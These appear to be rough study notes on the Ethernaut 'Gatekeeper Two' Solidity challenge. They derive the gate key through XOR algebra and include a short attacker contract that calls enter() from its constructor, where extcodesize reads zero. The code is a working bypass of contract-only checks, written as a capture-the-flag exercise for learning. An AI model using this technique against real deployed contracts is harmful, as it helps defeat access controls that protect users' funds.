GateThree

# a = keccak(contract), b = gateKey, c = uint64(-1)
a ^ b == c
a ^ b ^ (b ^ c) == c ^ (b ^ c)
a ^ (b ^ b) ^ c == (c ^ c) ^ b
a ^ 0 ^ c == 0 ^ b
a ^ c == b

If, X ^ Y = Z, Then, Y = X ^ Z

A ^ B = C

B = C ^ A

This is used for XOR linked list.

https://www.geeksforgeeks.org/xor-linked-list-a-memory-efficient-doubly-linked-list-set-1/

Untitled

GateTwo

extcodesize(addr) returns the size of contract at address addr

However, extcodesize only returns the correct value once the contract is constructed. While the constructor of our contract is executing it’ll return zero. W

extcodesize checks the length of code in address

require(isContract(target), "Address: call to non-contract");

contract GatekeeperTwoAttacker {
    using SafeMath for uint256;
    IGatekeeperTwo public challenge;

    constructor(address challengeAddress) {
				// creating the instance of IGatekeeperTwo 
        challenge = IGatekeeperTwo(challengeAddress);
        // must attack already in constructor because of extcodesize == 0
        // while the contract is being constructed
        uint64 gateKey = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ (uint64(0) - 1);
        challenge.enter(bytes8(gateKey));
    }
}

https://solidity-by-example.org/interface/